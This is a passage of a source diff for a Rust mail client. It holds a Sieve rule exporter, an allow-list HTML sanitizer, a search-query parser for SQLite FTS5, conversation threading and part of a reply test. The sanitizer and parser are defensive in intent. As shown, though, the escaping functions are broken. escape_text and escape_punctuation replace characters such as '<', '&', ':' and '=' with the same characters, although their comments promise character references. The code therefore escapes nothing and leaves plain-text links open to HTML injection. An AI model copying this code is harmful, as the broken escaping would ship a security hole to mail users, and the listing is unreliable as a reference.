||||
}
|
||||
|
||||
fn sieve_string(s: &str) -> String {
|
||||
let mut out = String::with_capacity(s.len() + 2);
|
||||
out.push('"');
|
||||
for c in s.chars().filter(|c| !c.is_control()) {
|
||||
if c == '"' || c == '\\' {
|
||||
out.push('\\');
|
||||
}
|
||||
out.push(c);
|
||||
}
|
||||
out.push('"');
|
||||
out
|
||||
}
|
||||
|
||||
fn sieve_test(condition: &Condition) -> String {
|
||||
let header = match condition.field {
|
||||
Field::From => "\"from\"",
|
||||
Field::To => "[\"to\", \"cc\"]",
|
||||
Field::Subject => "\"subject\"",
|
||||
};
|
||||
format!("header :contains :comparator \"i;unicode-casemap\" {header} {}", sieve_string(condition.contains.trim()))
|
||||
}
|
||||
|
||||
/// The same rules as a Sieve script (RFC 5228 + fileinto + RFC 5051 unicode-casemap).
|
||||
pub fn to_sieve(rules: &[Rule]) -> String {
|
||||
let mut out = String::from("require [\"fileinto\", \"comparator-i;unicode-casemap\"];\n");
|
||||
for rule in rules.iter().filter(|r| r.validate().is_ok()) {
|
||||
let name: String = rule.name.chars().filter(|c| !c.is_control()).collect();
|
||||
let tests: Vec<String> = rule.conditions.iter().map(sieve_test).collect();
|
||||
let test = if tests.len() == 1 { tests[0].clone() } else { format!("allof({})", tests.join(", ")) };
|
||||
out.push_str(&format!(
|
||||
"\n# {name}\nif {test} {{\n fileinto {};\n stop;\n}}\n",
|
||||
sieve_string(rule.folder.trim())
|
||||
));
|
||||
}
|
||||
out
|
||||
}
|
||||
+439
@@ -0,0 +1,439 @@
|
||||
//! HTML from mail -> HTML the reader may show. Allow-list (ammonia): no scripts, no event handlers, no forms,
|
||||
//! no `javascript:` or `data:text/html` URLs, no CSS that runs or loads anything, remote images replaced by a
|
||||
//! placeholder unless the user chose "Load images" for this message.
|
||||
//!
|
||||
//! Defence in depth after ammonia: in text and attribute values `:` and `=` are written as `:` and `=`.
|
||||
//! A browser shows and follows exactly the same thing, but the output can never contain the literal sequences
|
||||
//! `javascript:` or ` onclick=`, whatever a later bug in a filter lets through.
|
||||
|
||||
use base64::Engine;
|
||||
use std::borrow::Cow;
|
||||
use std::collections::{HashMap, HashSet};
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
|
||||
/// What an inline `cid:` image resolves to.
|
||||
pub struct InlineImage<'a> {
|
||||
pub content_type: &'a str,
|
||||
pub data: &'a [u8],
|
||||
}
|
||||
|
||||
#[derive(Default)]
|
||||
pub struct SanitizeOptions<'a> {
|
||||
/// Keep `https:` / `http:` images (the user pressed "Load images" for this message).
|
||||
pub load_remote_images: bool,
|
||||
/// Inline parts by Content-ID (no brackets): `cid:` sources become `data:` URIs.
|
||||
pub inline_images: HashMap<String, InlineImage<'a>>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct Sanitized {
|
||||
pub html: String,
|
||||
/// Remote images replaced by the placeholder: show "Load images" only when this is not zero.
|
||||
pub blocked_images: usize,
|
||||
}
|
||||
|
||||
/// The placeholder for a blocked remote image (a small grey square, SVG in a data URI: no script runs in `<img>`).
|
||||
pub const BLOCKED_IMAGE_SRC: &str = "data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCI+PHJlY3Qgd2lkdGg9IjI0IiBoZWlnaHQ9IjI0IiBmaWxsPSIjNDQ0Ii8+PC9zdmc+";
|
||||
|
||||
/// Inline images larger than this are not embedded (they stay attachments).
|
||||
pub const MAX_INLINE_IMAGE_BYTES: usize = 10 * 1024 * 1024;
|
||||
|
||||
const TAGS: &[&str] = &[
|
||||
"a",
|
||||
"abbr",
|
||||
"address",
|
||||
"b",
|
||||
"bdi",
|
||||
"bdo",
|
||||
"big",
|
||||
"blockquote",
|
||||
"br",
|
||||
"caption",
|
||||
"center",
|
||||
"cite",
|
||||
"code",
|
||||
"col",
|
||||
"colgroup",
|
||||
"dd",
|
||||
"del",
|
||||
"dfn",
|
||||
"div",
|
||||
"dl",
|
||||
"dt",
|
||||
"em",
|
||||
"font",
|
||||
"h1",
|
||||
"h2",
|
||||
"h3",
|
||||
"h4",
|
||||
"h5",
|
||||
"h6",
|
||||
"hr",
|
||||
"i",
|
||||
"img",
|
||||
"ins",
|
||||
"kbd",
|
||||
"li",
|
||||
"mark",
|
||||
"ol",
|
||||
"p",
|
||||
"pre",
|
||||
"q",
|
||||
"s",
|
||||
"samp",
|
||||
"small",
|
||||
"span",
|
||||
"strike",
|
||||
"strong",
|
||||
"sub",
|
||||
"sup",
|
||||
"table",
|
||||
"tbody",
|
||||
"td",
|
||||
"tfoot",
|
||||
"th",
|
||||
"thead",
|
||||
"tr",
|
||||
"tt",
|
||||
"u",
|
||||
"ul",
|
||||
"var",
|
||||
"wbr",
|
||||
];
|
||||
|
||||
/// Removed with everything inside them.
|
||||
const CLEAN_CONTENT: &[&str] = &[
|
||||
"script",
|
||||
"style",
|
||||
"template",
|
||||
"noscript",
|
||||
"title",
|
||||
"svg",
|
||||
"math",
|
||||
"iframe",
|
||||
"object",
|
||||
"embed",
|
||||
"textarea",
|
||||
"select",
|
||||
"applet",
|
||||
"noembed",
|
||||
"noframes",
|
||||
"xmp",
|
||||
"plaintext",
|
||||
];
|
||||
|
||||
const GENERIC_ATTRIBUTES: &[&str] = &["align", "dir", "lang", "style", "title"];
|
||||
|
||||
const TAG_ATTRIBUTES: &[(&str, &[&str])] = &[
|
||||
("a", &["href", "name"]),
|
||||
("img", &["src", "alt", "width", "height", "border"]),
|
||||
("table", &["width", "height", "border", "cellpadding", "cellspacing", "bgcolor"]),
|
||||
("td", &["width", "height", "colspan", "rowspan", "valign", "bgcolor", "nowrap"]),
|
||||
("th", &["width", "height", "colspan", "rowspan", "valign", "bgcolor", "nowrap"]),
|
||||
("tr", &["valign", "bgcolor"]),
|
||||
("col", &["width", "span"]),
|
||||
("colgroup", &["width", "span"]),
|
||||
("font", &["color", "face", "size"]),
|
||||
("ol", &["start", "type"]),
|
||||
("li", &["value"]),
|
||||
];
|
||||
|
||||
const CSS_PROPERTIES: &[&str] = &[
|
||||
"background",
|
||||
"background-color",
|
||||
"border",
|
||||
"border-bottom",
|
||||
"border-bottom-color",
|
||||
"border-bottom-style",
|
||||
"border-bottom-width",
|
||||
"border-collapse",
|
||||
"border-color",
|
||||
"border-left",
|
||||
"border-left-color",
|
||||
"border-left-style",
|
||||
"border-left-width",
|
||||
"border-radius",
|
||||
"border-right",
|
||||
"border-right-color",
|
||||
"border-right-style",
|
||||
"border-right-width",
|
||||
"border-spacing",
|
||||
"border-style",
|
||||
"border-top",
|
||||
"border-top-color",
|
||||
"border-top-style",
|
||||
"border-top-width",
|
||||
"border-width",
|
||||
"color",
|
||||
"direction",
|
||||
"display",
|
||||
"font",
|
||||
"font-family",
|
||||
"font-size",
|
||||
"font-style",
|
||||
"font-variant",
|
||||
"font-weight",
|
||||
"height",
|
||||
"letter-spacing",
|
||||
"line-height",
|
||||
"list-style-type",
|
||||
"margin",
|
||||
"margin-bottom",
|
||||
"margin-left",
|
||||
"margin-right",
|
||||
"margin-top",
|
||||
"max-width",
|
||||
"min-width",
|
||||
"padding",
|
||||
"padding-bottom",
|
||||
"padding-left",
|
||||
"padding-right",
|
||||
"padding-top",
|
||||
"table-layout",
|
||||
"text-align",
|
||||
"text-decoration",
|
||||
"text-indent",
|
||||
"text-transform",
|
||||
"vertical-align",
|
||||
"white-space",
|
||||
"width",
|
||||
"word-break",
|
||||
"word-spacing",
|
||||
];
|
||||
|
||||
/// A CSS value containing any of these is dropped: they run code, load something or escape the parser.
|
||||
const CSS_FORBIDDEN: &[&str] = &[
|
||||
"expression",
|
||||
"url",
|
||||
"javascript",
|
||||
"vbscript",
|
||||
"import",
|
||||
"behavior",
|
||||
"binding",
|
||||
"image-set",
|
||||
"image(",
|
||||
"attr(",
|
||||
"var(",
|
||||
"env(",
|
||||
"\\",
|
||||
"/*",
|
||||
"*/",
|
||||
"<",
|
||||
">",
|
||||
"\"",
|
||||
"'",
|
||||
"&",
|
||||
"@",
|
||||
"{",
|
||||
"}",
|
||||
];
|
||||
|
||||
const RASTER_DATA_TYPES: &[&str] = &["image/png", "image/jpeg", "image/jpg", "image/gif", "image/webp", "image/bmp"];
|
||||
|
||||
pub fn sanitize(html: &str, options: &SanitizeOptions<'_>) -> Sanitized {
|
||||
let blocked = Arc::new(AtomicUsize::new(0));
|
||||
let inline: Arc<HashMap<String, String>> = Arc::new(
|
||||
options
|
||||
.inline_images
|
||||
.iter()
|
||||
.filter(|(_, img)| {
|
||||
RASTER_DATA_TYPES.contains(&img.content_type.to_ascii_lowercase().as_str())
|
||||
&& img.data.len() <= MAX_INLINE_IMAGE_BYTES
|
||||
})
|
||||
.map(|(cid, img)| {
|
||||
let uri = format!(
|
||||
"data:{};base64,{}",
|
||||
img.content_type.to_ascii_lowercase(),
|
||||
base64::engine::general_purpose::STANDARD.encode(img.data)
|
||||
);
|
||||
(cid.trim().trim_matches(['<', '>']).to_ascii_lowercase(), uri)
|
||||
})
|
||||
.collect(),
|
||||
);
|
||||
let load_remote = options.load_remote_images;
|
||||
|
||||
let mut builder = ammonia::Builder::empty();
|
||||
builder
|
||||
.tags(TAGS.iter().copied().collect::<HashSet<_>>())
|
||||
.clean_content_tags(CLEAN_CONTENT.iter().copied().collect::<HashSet<_>>())
|
||||
.generic_attributes(GENERIC_ATTRIBUTES.iter().copied().collect::<HashSet<_>>())
|
||||
.tag_attributes(
|
||||
TAG_ATTRIBUTES
|
||||
.iter()
|
||||
.map(|(tag, attrs)| (*tag, attrs.iter().copied().collect::<HashSet<_>>()))
|
||||
.collect::<HashMap<_, _>>(),
|
||||
)
|
||||
.url_schemes(["http", "https", "mailto", "data", "cid"].into_iter().collect::<HashSet<_>>())
|
||||
.url_relative(ammonia::UrlRelative::Deny)
|
||||
.link_rel(Some("noopener noreferrer"))
|
||||
.strip_comments(true)
|
||||
.id_prefix(None);
|
||||
{
|
||||
let blocked = blocked.clone();
|
||||
builder.attribute_filter(move |element, attribute, value| {
|
||||
filter_attribute(element, attribute, value, load_remote, &inline, &blocked)
|
||||
});
|
||||
}
|
||||
let cleaned = builder.clean(html).to_string();
|
||||
Sanitized { html: escape_punctuation(&cleaned), blocked_images: blocked.load(Ordering::Relaxed) }
|
||||
}
|
||||
|
||||
/// The scheme of a URL as a browser would read it: ASCII whitespace and controls removed, lower case.
|
||||
fn scheme_of(value: &str) -> String {
|
||||
let compact: String = value.chars().filter(|c| !c.is_ascii_whitespace() && !c.is_control()).collect();
|
||||
compact.to_ascii_lowercase()
|
||||
}
|
||||
|
||||
fn filter_attribute<'u>(
|
||||
element: &str,
|
||||
attribute: &str,
|
||||
value: &'u str,
|
||||
load_remote: bool,
|
||||
inline: &HashMap<String, String>,
|
||||
blocked: &AtomicUsize,
|
||||
) -> Option<Cow<'u, str>> {
|
||||
match (element, attribute) {
|
||||
("img", "src") => {
|
||||
let url = scheme_of(value);
|
||||
if let Some(cid) = url.strip_prefix("cid:") {
|
||||
return inline.get(cid).map(|uri| Cow::Owned(uri.clone()));
|
||||
}
|
||||
if let Some(rest) = url.strip_prefix("data:") {
|
||||
let media = rest.split([';', ',']).next().unwrap_or("");
|
||||
let base64 = rest.split(',').next().unwrap_or("").ends_with(";base64");
|
||||
return (RASTER_DATA_TYPES.contains(&media) && base64).then_some(Cow::Borrowed(value));
|
||||
}
|
||||
if url.starts_with("https:") || url.starts_with("http:") {
|
||||
if load_remote {
|
||||
return Some(Cow::Borrowed(value));
|
||||
}
|
||||
blocked.fetch_add(1, Ordering::Relaxed);
|
||||
return Some(Cow::Borrowed(BLOCKED_IMAGE_SRC));
|
||||
}
|
||||
None
|
||||
}
|
||||
("a", "href") => {
|
||||
let url = scheme_of(value);
|
||||
(url.starts_with("https:") || url.starts_with("http:") || url.starts_with("mailto:"))
|
||||
.then_some(Cow::Borrowed(value))
|
||||
}
|
||||
(_, "style") => filter_css(value).map(Cow::Owned),
|
||||
_ => Some(Cow::Borrowed(value)),
|
||||
}
|
||||
}
|
||||
|
||||
/// Keeps only allow-listed properties whose values cannot run or load anything.
|
||||
fn filter_css(style: &str) -> Option<String> {
|
||||
let mut kept = Vec::new();
|
||||
for declaration in style.split(';') {
|
||||
let Some((property, value)) = declaration.split_once(':') else { continue };
|
||||
let property = property.trim().to_ascii_lowercase();
|
||||
let value = value.trim();
|
||||
let lower = value.to_ascii_lowercase();
|
||||
if !CSS_PROPERTIES.contains(&property.as_str())
|
||||
|| value.is_empty()
|
||||
|| value.chars().any(|c| c.is_control())
|
||||
|| CSS_FORBIDDEN.iter().any(|bad| lower.contains(bad))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
kept.push(format!("{property}: {value}"));
|
||||
}
|
||||
(!kept.is_empty()).then(|| kept.join("; "))
|
||||
}
|
||||
|
||||
/// Writes `:` and `=` in text and attribute values as character references (see the module docs).
|
||||
/// The input is ammonia's serialisation: attribute values are always double-quoted and text never holds a raw `<`.
|
||||
fn escape_punctuation(html: &str) -> String {
|
||||
#[derive(PartialEq)]
|
||||
enum State {
|
||||
Text,
|
||||
Tag,
|
||||
Value,
|
||||
}
|
||||
let mut out = String::with_capacity(html.len() + html.len() / 8);
|
||||
let mut state = State::Text;
|
||||
for c in html.chars() {
|
||||
match state {
|
||||
State::Text => match c {
|
||||
'<' => {
|
||||
state = State::Tag;
|
||||
out.push(c);
|
||||
}
|
||||
':' => out.push_str(":"),
|
||||
'=' => out.push_str("="),
|
||||
_ => out.push(c),
|
||||
},
|
||||
State::Tag => {
|
||||
match c {
|
||||
'"' => state = State::Value,
|
||||
'>' => state = State::Text,
|
||||
_ => {}
|
||||
}
|
||||
out.push(c);
|
||||
}
|
||||
State::Value => match c {
|
||||
'"' => {
|
||||
state = State::Tag;
|
||||
out.push(c);
|
||||
}
|
||||
':' => out.push_str(":"),
|
||||
'=' => out.push_str("="),
|
||||
_ => out.push(c),
|
||||
},
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
/// A plain-text body as safe HTML (escaped, line breaks kept, `http(s)` links made clickable).
|
||||
pub fn text_to_html(text: &str) -> String {
|
||||
let mut html = String::with_capacity(text.len() + 64);
|
||||
for (i, line) in text.split('\n').enumerate() {
|
||||
if i > 0 {
|
||||
html.push_str("<br>\n");
|
||||
}
|
||||
linkify_line(line.trim_end_matches('\r'), &mut html);
|
||||
}
|
||||
// The same allow-list and punctuation escaping as mail HTML.
|
||||
sanitize(&html, &SanitizeOptions::default()).html
|
||||
}
|
||||
|
||||
fn escape_text(s: &str, out: &mut String) {
|
||||
for c in s.chars() {
|
||||
match c {
|
||||
'&' => out.push_str("&"),
|
||||
'<' => out.push_str("<"),
|
||||
'>' => out.push_str(">"),
|
||||
'"' => out.push_str("""),
|
||||
c => out.push(c),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn linkify_line(line: &str, out: &mut String) {
|
||||
let mut rest = line;
|
||||
loop {
|
||||
let next = ["https://", "http://"].iter().filter_map(|p| rest.to_ascii_lowercase().find(p)).min();
|
||||
let Some(start) = next else {
|
||||
escape_text(rest, out);
|
||||
return;
|
||||
};
|
||||
escape_text(&rest[..start], out);
|
||||
let tail = &rest[start..];
|
||||
let end = tail.find(|c: char| c.is_whitespace() || matches!(c, '<' | '>' | '"')).unwrap_or(tail.len());
|
||||
let url = tail[..end].trim_end_matches(['.', ',', ';', ':', '!', '?', ')', '\'']);
|
||||
let url = if url.len() <= "https://".len() { &tail[..end] } else { url };
|
||||
if url.len() > "https://".len() {
|
||||
out.push_str("<a href=\"");
|
||||
escape_text(url, out);
|
||||
out.push_str("\">");
|
||||
escape_text(url, out);
|
||||
out.push_str("</a>");
|
||||
} else {
|
||||
escape_text(url, out);
|
||||
}
|
||||
rest = &tail[url.len()..];
|
||||
}
|
||||
}
|
||||
+146
@@ -0,0 +1,146 @@
|
||||
//! The search box: free text plus `from:`, `to:`, `subject:`, `has:attachment`, `is:starred`, with
|
||||
//! "quoted phrases". The query becomes an SQLite FTS5 expression in which every user term is a quoted string,
|
||||
//! so no input can inject FTS5 syntax.
|
||||
|
||||
#[derive(Clone, Debug, PartialEq, Eq, Default)]
|
||||
pub struct Query {
|
||||
pub text: Vec<String>,
|
||||
pub from: Vec<String>,
|
||||
pub to: Vec<String>,
|
||||
pub subject: Vec<String>,
|
||||
pub has_attachment: bool,
|
||||
pub is_starred: bool,
|
||||
}
|
||||
|
||||
/// FTS5 column names the app's search table must use.
|
||||
pub const FTS_COLUMNS: [&str; 5] = ["subject", "sender", "recipients", "body", "attachments"];
|
||||
|
||||
/// Longer input is cut (characters): a search box, not a document.
|
||||
pub const MAX_QUERY_CHARS: usize = 500;
|
||||
/// At most this many terms are used.
|
||||
pub const MAX_TERMS: usize = 32;
|
||||
|
||||
/// Reads a `"quoted"` value (the opening quote already consumed); an unterminated quote runs to the end.
|
||||
fn quoted(chars: &[char], i: &mut usize) -> String {
|
||||
let mut out = String::new();
|
||||
while *i < chars.len() {
|
||||
let c = chars[*i];
|
||||
*i += 1;
|
||||
if c == '"' {
|
||||
break;
|
||||
}
|
||||
out.push(c);
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
fn word(chars: &[char], i: &mut usize) -> String {
|
||||
let mut out = String::new();
|
||||
while *i < chars.len() && !chars[*i].is_whitespace() {
|
||||
out.push(chars[*i]);
|
||||
*i += 1;
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
pub fn parse_query(input: &str) -> Query {
|
||||
let chars: Vec<char> = input.chars().take(MAX_QUERY_CHARS).collect();
|
||||
let mut q = Query::default();
|
||||
let mut i = 0;
|
||||
while i < chars.len() {
|
||||
if chars[i].is_whitespace() {
|
||||
i += 1;
|
||||
continue;
|
||||
}
|
||||
if chars[i] == '"' {
|
||||
i += 1;
|
||||
let phrase = quoted(&chars, &mut i);
|
||||
if !phrase.trim().is_empty() {
|
||||
q.text.push(phrase.trim().to_string());
|
||||
}
|
||||
continue;
|
||||
}
|
||||
let start = i;
|
||||
let mut key = String::new();
|
||||
while i < chars.len() && !chars[i].is_whitespace() && chars[i] != ':' && chars[i] != '"' {
|
||||
key.push(chars[i]);
|
||||
i += 1;
|
||||
}
|
||||
let key = key.to_ascii_lowercase();
|
||||
let known = matches!(key.as_str(), "from" | "to" | "subject" | "has" | "is");
|
||||
if i < chars.len() && chars[i] == ':' && known {
|
||||
i += 1;
|
||||
let value = if i < chars.len() && chars[i] == '"' {
|
||||
i += 1;
|
||||
quoted(&chars, &mut i)
|
||||
} else {
|
||||
word(&chars, &mut i)
|
||||
};
|
||||
let value = value.trim().to_string();
|
||||
if value.is_empty() {
|
||||
continue;
|
||||
}
|
||||
match key.as_str() {
|
||||
"from" => q.from.push(value),
|
||||
"to" => q.to.push(value),
|
||||
"subject" => q.subject.push(value),
|
||||
"has" if matches!(value.to_ascii_lowercase().as_str(), "attachment" | "attachments") => {
|
||||
q.has_attachment = true
|
||||
}
|
||||
"is" if matches!(value.to_ascii_lowercase().as_str(), "starred" | "flagged") => q.is_starred = true,
|
||||
_ => q.text.push(format!("{key}:{value}")),
|
||||
}
|
||||
continue;
|
||||
}
|
||||
i = start;
|
||||
let w = word(&chars, &mut i);
|
||||
if !w.is_empty() {
|
||||
q.text.push(w);
|
||||
}
|
||||
}
|
||||
q
|
||||
}
|
||||
|
||||
/// One user term as an FTS5 prefix phrase: `"term"*`, inner quotes doubled. `None` for terms with no letter or
|
||||
/// digit (the tokenizer would see an empty phrase).
|
||||
fn phrase(term: &str) -> Option<String> {
|
||||
if !term.chars().any(char::is_alphanumeric) {
|
||||
return None;
|
||||
}
|
||||
let clean: String = term.chars().filter(|c| !c.is_control()).collect();
|
||||
Some(format!("\"{}\"*", clean.replace('"', "\"\"")))
|
||||
}
|
||||
|
||||
impl Query {
|
||||
pub fn is_empty(&self) -> bool {
|
||||
self.text.is_empty()
|
||||
&& self.from.is_empty()
|
||||
&& self.to.is_empty()
|
||||
&& self.subject.is_empty()
|
||||
&& !self.has_attachment
|
||||
&& !self.is_starred
|
||||
}
|
||||
|
||||
/// The FTS5 `MATCH` expression, or `None` when there is no text to match (only flags).
|
||||
pub fn fts_match(&self) -> Option<String> {
|
||||
let mut terms = Vec::new();
|
||||
let columns: [(&[String], Option<&str>); 4] = [
|
||||
(&self.from, Some("sender")),
|
||||
(&self.to, Some("recipients")),
|
||||
(&self.subject, Some("subject")),
|
||||
(&self.text, None),
|
||||
];
|
||||
for (values, column) in columns {
|
||||
for v in values {
|
||||
if let Some(p) = phrase(v) {
|
||||
terms.push(match column {
|
||||
Some(col) => format!("{col} : {p}"),
|
||||
None => p,
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
terms.truncate(MAX_TERMS);
|
||||
(!terms.is_empty()).then(|| terms.join(" AND "))
|
||||
}
|
||||
}
|
||||
+155
@@ -0,0 +1,155 @@
|
||||
//! Conversations: Message-ID / In-Reply-To / References, with a normalised-subject fallback.
|
||||
//!
|
||||
//! - Messages are joined when one names the other (In-Reply-To or References), when they share a Message-ID
|
||||
//! (the same message in Inbox and Sent), or when both name the same missing message.
|
||||
//! - Fallback: a message with *no* In-Reply-To and *no* References whose subject has a reply or forward prefix
|
||||
//! (`Re:`, `Fwd:` …) joins the earliest message with the same normalised subject. Two unrelated mails that
|
||||
//! are both called "Hello" stay apart.
|
||||
|
||||
use std::collections::HashMap;
|
||||
|
||||
/// What threading needs from one message. `id` is the app's local id.
|
||||
#[derive(Clone, Debug, PartialEq, Eq)]
|
||||
pub struct ThreadInput {
|
||||
pub id: u64,
|
||||
pub message_id: Option<String>,
|
||||
pub in_reply_to: Vec<String>,
|
||||
pub references: Vec<String>,
|
||||
pub subject: String,
|
||||
pub date: i64,
|
||||
}
|
||||
|
||||
/// Reply and forward prefixes in the languages the family's mail arrives in.
|
||||
const PREFIXES: &[&str] = &["re", "fwd", "fw", "aw", "wg", "odp", "sv", "vs", "tr", "rv", "antw", "fwd"];
|
||||
|
||||
/// `subject` without its leading `[tags]` and reply/forward prefixes, and whether it had such a prefix.
|
||||
pub(crate) fn strip_prefixes(subject: &str) -> (&str, bool) {
|
||||
let mut rest = subject.trim_start();
|
||||
let mut had_prefix = false;
|
||||
loop {
|
||||
let before = rest;
|
||||
if rest.starts_with('[') {
|
||||
if let Some(end) = rest.find(']') {
|
||||
rest = rest[end + 1..].trim_start();
|
||||
}
|
||||
}
|
||||
for p in PREFIXES {
|
||||
let Some(head) = rest.get(..p.len()) else { continue };
|
||||
if !head.eq_ignore_ascii_case(p) {
|
||||
continue;
|
||||
}
|
||||
let mut after = &rest[p.len()..];
|
||||
// `Re[2]:` and `Re(2):`
|
||||
if let Some(stripped) = after.strip_prefix(['[', '(']) {
|
||||
let digits = stripped.find(|c: char| !c.is_ascii_digit()).unwrap_or(stripped.len());
|
||||
if digits > 0 && stripped[digits..].starts_with([']', ')']) {
|
||||
after = &stripped[digits + 1..];
|
||||
}
|
||||
}
|
||||
let after = after.trim_start_matches(' ');
|
||||
if let Some(after) = after.strip_prefix([':', ':']) {
|
||||
rest = after.trim_start();
|
||||
had_prefix = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if rest == before {
|
||||
return (rest, had_prefix);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// `Re: Fwd: [list] Hello world` -> `hello world`.
|
||||
pub fn normalize_subject(subject: &str) -> String {
|
||||
strip_prefixes(subject).0.split_whitespace().collect::<Vec<_>>().join(" ").to_lowercase()
|
||||
}
|
||||
|
||||
struct Sets {
|
||||
parent: Vec<usize>,
|
||||
}
|
||||
|
||||
impl Sets {
|
||||
fn find(&mut self, mut x: usize) -> usize {
|
||||
while self.parent[x] != x {
|
||||
self.parent[x] = self.parent[self.parent[x]];
|
||||
x = self.parent[x];
|
||||
}
|
||||
x
|
||||
}
|
||||
|
||||
fn union(&mut self, a: usize, b: usize) {
|
||||
let (a, b) = (self.find(a), self.find(b));
|
||||
if a != b {
|
||||
let (low, high) = if a < b { (a, b) } else { (b, a) };
|
||||
self.parent[high] = low;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// The thread id of each input, in input order. A thread's id is the `id` of its earliest message
|
||||
/// (by date, then id), so the result does not depend on input order.
|
||||
pub fn thread<'a>(messages: &'a [ThreadInput]) -> Vec<u64> {
|
||||
let n = messages.len();
|
||||
let mut sets = Sets { parent: (0..n).collect() };
|
||||
// Message-ID -> node. An id nobody has (yet) gets a virtual node, so two replies to a missing message join.
|
||||
let mut ids: HashMap<&str, usize> = HashMap::new();
|
||||
let mut lookup = |id: &'a str, sets: &mut Sets, owner: Option<usize>| -> usize {
|
||||
if let Some(&k) = ids.get(id) {
|
||||
return k;
|
||||
}
|
||||
let k = owner.unwrap_or_else(|| {
|
||||
sets.parent.push(sets.parent.len());
|
||||
sets.parent.len() - 1
|
||||
});
|
||||
ids.insert(id, k);
|
||||
k
|
||||
};
|
||||
|
||||
for (i, m) in messages.iter().enumerate() {
|
||||
if let Some(id) = m.message_id.as_deref().filter(|id| !id.is_empty()) {
|
||||
let k = lookup(id, &mut sets, Some(i));
|
||||
sets.union(i, k);
|
||||
}
|
||||
}
|
||||
for (i, m) in messages.iter().enumerate() {
|
||||
for id in m.in_reply_to.iter().chain(m.references.iter()).filter(|id| !id.is_empty()) {
|
||||
let k = lookup(id, &mut sets, None);
|
||||
sets.union(i, k);
|
||||
}
|
||||
}
|
||||
// Subject fallback.
|
||||
let mut earliest: HashMap<String, usize> = HashMap::new();
|
||||
for (i, m) in messages.iter().enumerate() {
|
||||
let key = normalize_subject(&m.subject);
|
||||
if key.is_empty() {
|
||||
continue;
|
||||
}
|
||||
let e = earliest.entry(key).or_insert(i);
|
||||
if (m.date, m.id) < (messages[*e].date, messages[*e].id) {
|
||||
*e = i;
|
||||
}
|
||||
}
|
||||
for (i, m) in messages.iter().enumerate() {
|
||||
if !m.in_reply_to.is_empty() || !m.references.is_empty() {
|
||||
continue;
|
||||
}
|
||||
let (_, is_reply) = strip_prefixes(&m.subject);
|
||||
if !is_reply {
|
||||
continue;
|
||||
}
|
||||
if let Some(&e) = earliest.get(&normalize_subject(&m.subject)) {
|
||||
sets.union(i, e);
|
||||
}
|
||||
}
|
||||
|
||||
// The earliest real message of each set names the thread.
|
||||
let mut root_id: HashMap<usize, usize> = HashMap::new();
|
||||
for i in 0..n {
|
||||
let r = sets.find(i);
|
||||
let e = root_id.entry(r).or_insert(i);
|
||||
if (messages[i].date, messages[i].id) < (messages[*e].date, messages[*e].id) {
|
||||
*e = i;
|
||||
}
|
||||
}
|
||||
(0..n).map(|i| messages[root_id[&sets.find(i)]].id).collect()
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
# Seeds for failure cases proptest has generated in the past. It is
|
||||
# automatically read and these particular cases re-run before any
|
||||
# novel cases are generated.
|
||||
#
|
||||
# It is recommended to check this file in to source control so that
|
||||
# everyone who runs the test benefits from these saved cases.
|
||||
cc e5afee1f2e4ce59f6e7d9827da4a73afcbf8e1fb9864bd31e13543f3e41bcf37 # shrinks to d = Draft { to: 1, attachments: 0, .. }
|
||||
@@ -0,0 +1,197 @@
|
||||
//! Mandatory: compose round trip, and the headers and bodies of reply, reply all and forward.
|
||||
|
||||
use epistula_core::{Address, Draft, OutAttachment, ReplyMode, compose, forward, message_id, parse, reply};
|
||||
use proptest::prelude::*;
|
||||
|
||||
fn me() -> Address {
|
||||
Address::new(Some("Mark Novák"), "mark@example.cz")
|
||||
}
|
||||
|
||||
fn original() -> epistula_core::Parsed {
|
||||
let raw = "From: Anna <anna@example.com>\r\n\
|
||||
To: Mark Novák <mark@example.cz>, Jiří <jiri@example.cz>\r\n\
|
||||
Cc: eva@example.cz, MARK@example.cz\r\n\
|
||||
Subject: Výlet v sobotu\r\n\
|
||||
Date: Sat, 08 Nov 2026 10:00:00 +0100\r\n\
|
||||
Message-ID: <orig-2@example.com>\r\n\
|
||||
References: <root-0@example.com> <orig-1@example.com>\r\n\
|
||||
In-Reply-To: <orig-1@example.com>\r\n\
|
||||
Content-Type: multipart/mixed; boundary=b\r\n\r\n\
|
||||
--b\r\nContent-Type: multipart/alternative; boundary=a\r\n\r\n\
|
||||
--a\r\nContent-Type: text/plain; charset=utf-8\r\n\r\nPojedeme v 8.\r\nVezmi deštník.\r\n\
|
||||
--a\r\nContent-Type: text/html; charset=utf-8\r\n\r\n<p>Pojedeme v <b>8</b>.</p>\r\n\
|
||||
--a--\r\n\
|
||||
--b\r\nContent-Type: application/pdf\r\nContent-Disposition: attachment; filename=mapa.pdf\r\n\r\nPDFDATA\r\n\
|
||||
--b--\r\n";
|
||||
parse(raw.as_bytes()).unwrap()
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn reply_sets_threading_headers_and_quotes() {
|
||||
let orig = original();
|
||||
let d = reply(&orig, &me(), ReplyMode::Sender);
|
||||
assert_eq!(d.subject, "Re: Výlet v sobotu");
|
||||
assert_eq!(d.to, vec![Address::new(Some("Anna"), "anna@example.com")]);
|
||||
assert!(d.cc.is_empty());
|
||||
assert_eq!(d.in_reply_to.as_deref(), Some("orig-2@example.com"));
|
||||
assert_eq!(d.references, vec!["root-0@example.com", "orig-1@example.com", "orig-2@example.com"]);
|
||||
assert!(d.text.contains("Anna <anna@example.com> wrote:"), "{}", d.text);
|
||||
assert!(d.text.contains("> Pojedeme v 8.\n> Vezmi deštník."), "{}", d.text);
|
||||
let html = d.html.as_deref().unwrap();
|
||||
assert!(html.contains("<blockquote"), "{html}");
|
||||
assert!(html.contains("<b>8</b>"), "{html}");
|
||||
